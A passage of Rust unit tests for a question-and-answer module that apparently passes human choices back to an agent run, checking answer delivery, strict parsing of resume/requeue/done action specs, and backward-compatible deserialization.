3582    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3583        let mut q = choice_question();
3584        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3585        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3586        let mut q = choice_question();
3587        q.say("old").unwrap();
3588        q.delivered_turns = q.thread.len();
3589        q.say("new").unwrap();
3590        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3591        let shown = answer_for_agent(&q, "SQLite");
3592        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3593    }
3594
3595    #[test]
3596    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3597        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3598        let ok = parse_actions(
3599            &[
3600                "resume で続行する=resume".to_owned(),
3601                "wait=done".to_owned(),
3602            ],
3603            &choices,
3604            "run-1",
3605        )
3606        .unwrap();
3607        assert_eq!(
3608            ok["resume で続行する"],
3609            ChoiceAction::Resume {
3610                run: "run-1".into()
3611            }
3612        );
3613        assert_eq!(ok["wait"], ChoiceAction::Done);
3614
3615        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3616        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3617        assert_eq!(
3618            ChoiceAction::parse("x=requeue", "").unwrap().1,
3619            ChoiceAction::Requeue
3620        );
3621
3622        for bad in [
3623            "no-equals",
3624            "=done",
3625            "x=resume",
3626            "x=resume:",
3627            "x=explode",
3628            "x=done:1",
3629        ] {
3630            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3631        }
3632        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3633        assert!(
3634            parse_actions(
3635                &["wait=done".to_owned(), "wait=requeue".to_owned()],
3636                &choices,
3637                ""
3638            )
3639            .is_err()
3640        );
3641    }
3642
3643    #[test]
3644    fn only_a_chosen_label_with_an_action_is_actionable() {
3645        let mut q = choice_question();
3646        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3647        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3648        assert!(q.chosen_action().is_none(), "unanswered");
3649        q.answer(Answer::Choice("resume".to_owned())).unwrap();
3650        assert!(
3651            q.chosen_action().is_none(),
3652            "a label that merely reads like an action does nothing"
3653        );
3654
3655        let mut q2 = choice_question();
3656        q2.choices = vec!["SQLite".to_owned()];
3657        q2.actions
3658            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3659        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3660        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3661    }
3662
3663    #[test]
3664    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3665        let mut q = choice_question();
3666        q.choices = vec!["A".to_owned(), "B".to_owned()];
3667        q.actions.insert("A".to_owned(), ChoiceAction::Done);
3668        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3669        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3670        assert_eq!(q.actions.len(), 1);
3671        assert!(q.actions.contains_key("B"));
3672
3673        let mut v = serde_json::to_value(&q).unwrap();
3674        v.as_object_mut().unwrap().remove("actions");
3675        let old: Question = serde_json::from_value(v).unwrap();
3676        assert!(old.actions.is_empty());
3677    }
3678}